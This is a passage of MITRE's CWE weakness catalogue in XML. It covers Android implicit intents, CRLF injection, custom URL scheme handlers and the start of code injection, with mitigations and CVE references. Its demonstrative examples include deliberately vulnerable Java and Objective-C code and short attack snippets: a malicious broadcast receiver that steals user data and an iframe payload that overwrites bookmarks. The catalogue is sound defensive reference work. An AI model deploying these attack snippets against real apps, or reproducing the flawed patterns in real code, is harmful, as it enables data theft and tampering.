					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Background_Details</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, References, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2014-02-18">Improper Restriction of Content Provider Export to Other Applications</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="927" Name="Use of Implicit Intent for Sensitive Communication" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The Android application uses an implicit intent for transmitting sensitive data to other applications.</Description>
         <Extended_Description>
            <xhtml:p>Since an implicit intent does not specify a particular application to receive the data, any application can process the intent by using an Intent Filter for that intent. This can allow untrusted applications to obtain sensitive data. There are two variations on the standard broadcast intent, ordered and sticky.</xhtml:p>
            <xhtml:p>Ordered broadcast intents are delivered to a series of registered receivers in order of priority as declared by the Receivers. A malicious receiver can give itself a high priority and cause a denial of service by stopping the broadcast from propagating further down the chain. There is also the possibility of malicious data modification, as a receiver may also alter the data within the Intent before passing it on to the next receiver. The downstream components have no way of asserting that the data has not been altered earlier in the chain.</xhtml:p>
            <xhtml:p>Sticky broadcast intents remain accessible after the initial broadcast. An old sticky intent will be broadcast again to any new receivers that register for it in the future, greatly increasing the chances of information exposure over time. Also, sticky broadcasts cannot be protected by permissions that may apply to other kinds of intents.</xhtml:p>
            <xhtml:p>In addition, any broadcast intent may include a URI that references data that the receiving component does not normally have the privileges to access. The sender of the intent can include special privileges that grant the receiver read or write access to the specific URI included in the intent. A malicious receiver that intercepts this intent will also gain those privileges and be able to read or write the resource at the specified URI.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="285" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="668" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Class="Mobile" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Note>Other applications, possibly untrusted, can read the data that is offered through the Intent.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Varies by Context</Impact>
               <Note>The application may handle responses from untrusted applications on the device, which could cause it to perform unexpected or unauthorized actions.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>If the application only requires communication with its own components, then the destination is always known, and an explicit intent could be used.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>This application wants to create a user account in several trusted applications using one broadcast intent:</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>Intent intent = new Intent();<xhtml:br/>intent.setAction("com.example.CreateUser");<xhtml:br/>intent.putExtra("Username", uname_string);<xhtml:br/>intent.putExtra("Password", pw_string);<xhtml:br/>sendBroadcast(intent);</xhtml:div>
               </Example_Code>
               <Body_Text>This application assumes only the trusted applications will be listening for the action. A malicious application can register for this action and intercept the user's login information, as below:</Body_Text>
               <Example_Code Nature="Attack" Language="Java">
                  <xhtml:div>IntentFilter filter = new IntentFilter("com.example.CreateUser");<xhtml:br/>MyReceiver receiver = new MyReceiver();<xhtml:br/>registerReceiver(receiver, filter);</xhtml:div>
               </Example_Code>
               <Body_Text>When a broadcast contains sensitive information, create an allowlist of applications that can receive the action using the application's manifest file, or programmatically send the intent to each individual intended receiver.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>This application interfaces with a web service that requires a separate user login. It creates a sticky intent, so that future trusted applications that also use the web service will know who the current user is:</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>Intent intent = new Intent();<xhtml:br/>intent.setAction("com.example.service.UserExists");<xhtml:br/>intent.putExtra("Username", uname_string);<xhtml:br/>sendStickyBroadcast(intent);</xhtml:div>
               </Example_Code>
               <Example_Code Nature="Attack" Language="Java">
                  <xhtml:div>IntentFilter filter = new IntentFilter("com.example.service.UserExists");<xhtml:br/>MyReceiver receiver = new MyReceiver();<xhtml:br/>registerReceiver(receiver, filter);</xhtml:div>
               </Example_Code>
               <Body_Text>Sticky broadcasts can be read by any application at any time, and so should never contain sensitive information such as a username.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>This application is sending an ordered broadcast, asking other applications to open a URL:</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>Intent intent = new Intent();<xhtml:br/>intent.setAction("com.example.OpenURL");<xhtml:br/>intent.putExtra("URL_TO_OPEN", url_string);<xhtml:br/>sendOrderedBroadcastAsUser(intent);</xhtml:div>
               </Example_Code>
               <Body_Text>Any application in the broadcast chain may alter the data within the intent. This malicious application is altering the URL to point to an attack site:</Body_Text>
               <Example_Code Nature="Attack" Language="Java">
                  <xhtml:div>public class CallReceiver extends BroadcastReceiver {<xhtml:div style="margin-left:1em;">@Override<xhtml:br/>public void onReceive(Context context, Intent intent) {<xhtml:div style="margin-left:1em;">String Url = intent.getStringExtra(Intent.URL_TO_OPEN);<xhtml:br/>attackURL = "www.example.com/attack?" + Url;<xhtml:br/>setResultData(attackURL);</xhtml:div>}</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The final receiving application will then open the attack URL. Where possible, send intents to specific trusted applications instead of using a broadcast chain.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-108">
               <Intro_Text>This application sends a special intent with a flag that allows the receiving application to read a data file for backup purposes.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>Intent intent = new Intent();<xhtml:br/>intent.setAction("com.example.BackupUserData");<xhtml:br/>intent.setData(file_uri);<xhtml:br/>intent.addFlags(FLAG_GRANT_READ_URI_PERMISSION);<xhtml:br/>sendBroadcast(intent);</xhtml:div>
               </Example_Code>
               <Example_Code Nature="Attack" Language="Java">
                  <xhtml:div>public class CallReceiver extends BroadcastReceiver {<xhtml:div style="margin-left:1em;">@Override<xhtml:br/>public void onReceive(Context context, Intent intent) {<xhtml:div style="margin-left:1em;">Uri userData = intent.getData();<xhtml:br/>stealUserData(userData);</xhtml:div>}</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Any malicious application can register to receive this intent. Because of the FLAG_GRANT_READ_URI_PERMISSION included with the intent, the malicious receiver code can read the user's data.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <References>
            <Reference External_Reference_ID="REF-922" Section="3.2.1"/>
            <Reference External_Reference_ID="REF-923"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2013-07-09</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Description, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="93" Name="Improper Neutralization of CRLF Sequences ('CRLF Injection')" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="74" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="117" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Modify Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Avoid using CRLF as a special sequence.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Appropriately filter or quote CRLF sequences in user-controlled input.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>If user input data that eventually makes it to a log message isn't checked for CRLF characters, it may be possible for an attacker to forge entries in a log file.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>logger.info("User's street address: " + request.getParameter("streetAddress"));</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-1771</Reference>
               <Description>CRLF injection enables spam proxy (add mail headers) using email address or name.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1771</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1783</Reference>
               <Description>CRLF injection in API function arguments modify headers for outgoing requests.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1783</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-1513</Reference>
               <Description>Spoofed entries in web server log file via carriage returns</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1513</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-4624</Reference>
               <Description>Chain: inject fake log entries with fake timestamps using CRLF injection</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-4624</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1951</Reference>
               <Description>Chain: Application accepts CRLF in an object ID, allowing HTTP response splitting.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1951</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-1687</Reference>
               <Description>Chain: HTTP response splitting via CRLF in parameter related to URL.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1687</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>CRLF Injection</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2007">
               <Entry_ID>A2</Entry_ID>
               <Entry_Name>Injection Flaws</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>24</Entry_ID>
               <Entry_Name>HTTP Request Splitting</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="15"/>
            <Related_Attack_Pattern CAPEC_ID="81"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-928"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Likelihood_of_Exploit</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Causal_Nature, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Research_Gaps</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">CRLF Injection</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Failure to Sanitize CRLF Sequences (aka 'CRLF Injection')</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-06-21">Failure to Sanitize CRLF Sequences ('CRLF Injection')</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="939" Name="Improper Authorization in Handler for Custom URL Scheme" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product uses a handler for a custom URL scheme, but it does not properly restrict which actors can invoke the handler using the scheme.</Description>
         <Extended_Description>Mobile platforms and other architectures allow the use of custom URL schemes to facilitate communication between applications. In the case of iOS, this is the only method to do inter-application communication. The implementation is at the developer's discretion which may open security flaws in the application. An example could be potentially dangerous functionality such as modifying files through a custom URL scheme.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="862" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Technology Class="Mobile" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>
                  <xhtml:p>Utilize a user prompt pop-up to authorize potentially harmful actions such as those modifying data or dealing with sensitive information.</xhtml:p>
                  <xhtml:p>When designing functionality of actions in the URL scheme, consider whether the action should be accessible to all mobile applications, or if an allowlist of applications to interface with is appropriate.</xhtml:p>
               </Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>This iOS application uses a custom URL scheme. The replaceFileText action in the URL scheme allows an external application to interface with the file incomingMessage.txt and replace the contents with the text field of the query string.</Intro_Text>
               <Body_Text>External Application</Body_Text>
               <Example_Code Nature="Good" Language="Objective-C">
                  <xhtml:div>NSString *stringURL = @"appscheme://replaceFileText?file=incomingMessage.txt&amp;text=hello";<xhtml:br/>NSURL *url = [NSURL URLWithString:stringURL];<xhtml:br/>[[UIApplication sharedApplication] openURL:url];</xhtml:div>
               </Example_Code>
               <Body_Text>Application URL Handler</Body_Text>
               <Example_Code Nature="Bad">
                  <xhtml:div>
                     <xhtml:br/>- (BOOL)application:(UIApplication *)application handleOpenURL:(NSURL *)url {<xhtml:div style="margin-left:1em;">if (!url) {<xhtml:div style="margin-left:1em;">return NO;</xhtml:div>}<xhtml:br/>NSString *action = [url host];<xhtml:br/>if([action isEqualToString: @"replaceFileText"]) {<xhtml:div style="margin-left:1em;">NSDictionary *dict = [self parseQueryStringExampleFunction:[url query]];<xhtml:br/>
                           <xhtml:i>//this function will write contents to a specified file</xhtml:i>
                           <xhtml:br/>FileObject *objectFile = [self writeToFile:[dict objectForKey: @"file"] withText:[dict objectForKey: @"text"]];</xhtml:div>}<xhtml:br/>return YES;</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The handler has no restriction on who can use its functionality. The handler can be invoked using any method that invokes the URL handler such as the following malicious iframe embedded on a web page opened by Safari.</Body_Text>
               <Example_Code Nature="Attack" Language="HTML">
                  <xhtml:div>&lt;iframe src="appscheme://replaceFileText?file=Bookmarks.dat&amp;text=listOfMaliciousWebsites"&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>The attacker can host a malicious website containing the iframe and trick users into going to the site via a crafted phishing email. Since Safari automatically executes iframes, the user is not prompted when the handler executes the iframe code which automatically invokes the URL handler replacing the bookmarks file with a list of malicious websites. Since replaceFileText is a potentially dangerous action, an action that modifies data, there should be a sanity check before the writeToFile:withText: function.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-109">
               <Intro_Text>These Android and iOS applications intercept URL loading within a WebView and perform special actions if a particular URL scheme is used, thus allowing the Javascript within the WebView to communicate with the application:</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>
                     <xhtml:i>// Android</xhtml:i>
                     <xhtml:br/>@Override<xhtml:br/>public boolean shouldOverrideUrlLoading(WebView view, String url){<xhtml:div style="margin-left:1em;">
                        <xhtml:div>if (url.substring(0,14).equalsIgnoreCase("examplescheme:")){<xhtml:div style="margin-left:1em;">if(url.substring(14,25).equalsIgnoreCase("getUserInfo")){<xhtml:div style="margin-left:1em;">writeDataToView(view, UserData);<xhtml:br/>return false;</xhtml:div>}<xhtml:br/>else{<xhtml:div style="margin-left:1em;">return true;</xhtml:div>}</xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Example_Code Nature="Bad" Language="Objective-C">
                  <xhtml:div>
                     <xhtml:i>// iOS</xhtml:i>
                     <xhtml:br/>-(BOOL) webView:(UIWebView *)exWebView shouldStartLoadWithRequest:(NSURLRequest *)exRequest navigationType:(UIWebViewNavigationType)exNavigationType<xhtml:br/>{<xhtml:div style="margin-left:1em;">
                        <xhtml:div>NSURL *URL = [exRequest URL];<xhtml:br/>if ([[URL scheme] isEqualToString:@"exampleScheme"])<xhtml:br/>{<xhtml:div style="margin-left:1em;">
                              <xhtml:div>NSString *functionString = [URL resourceSpecifier];<xhtml:br/>if ([functionString hasPrefix:@"specialFunction"])<xhtml:br/>{<xhtml:div style="margin-left:1em;">
                                    <xhtml:div>
                                       <xhtml:br/>
                                       <xhtml:i>// Make data available back in webview.</xhtml:i>
                                       <xhtml:br/>UIWebView *webView = [self writeDataToView:[URL query]];</xhtml:div>
                                 </xhtml:div>}<xhtml:br/>return NO;</xhtml:div>
                           </xhtml:div>}<xhtml:br/>return YES;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>A call into native code can then be initiated by passing parameters within the URL:</Body_Text>
               <Example_Code Nature="Attack" Language="JavaScript">
                  <xhtml:div>window.location = examplescheme://method?parameter=value</xhtml:div>
               </Example_Code>
               <Body_Text>Because the application does not check the source, a malicious website loaded within this WebView has the same access to the API as a trusted site.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2013-5725</Reference>
               <Description>URL scheme has action replace which requires no user prompt and allows remote attackers to perform undesired actions.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2013-5725</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2013-5726</Reference>
               <Description>URL scheme has action follow and favorite which allows remote attackers to force user to perform undesired actions.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2013-5726</Link>
            </Observed_Example>
         </Observed_Examples>
         <References>
            <Reference External_Reference_ID="REF-938"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-01-14</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, References, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="94" Name="Improper Control of Generation of Code ('Code Injection')" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.</Description>
         <Extended_Description>
            <xhtml:p>When a product allows a user's input to contain code syntax, it might be possible for an attacker to craft the code in such a way that it will alter the intended control flow of the product. Such an alteration could lead to arbitrary code execution.</xhtml:p>
            <xhtml:p>Injection problems encompass a wide variety of issues -- all mitigated in very different ways. For this reason, the most effective way to discuss these weaknesses is to note the distinct features which classify them as injection weaknesses. The most important issue to note is that all injection problems share one thing in common -- i.e., they allow for the injection of control plane data into the user-controlled data plane. This means that the execution of the process may be altered by sending code in through legitimate data channels, using no other mechanism. While buffer overflows, and many other flaws, involve the use of some further issue to gain execution, injection problems need only for the data to be parsed. The most classic instantiations of this category of weakness are SQL injection and format string vulnerabilities.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="74" View_ID="1000" Ordinal="Primary"/>
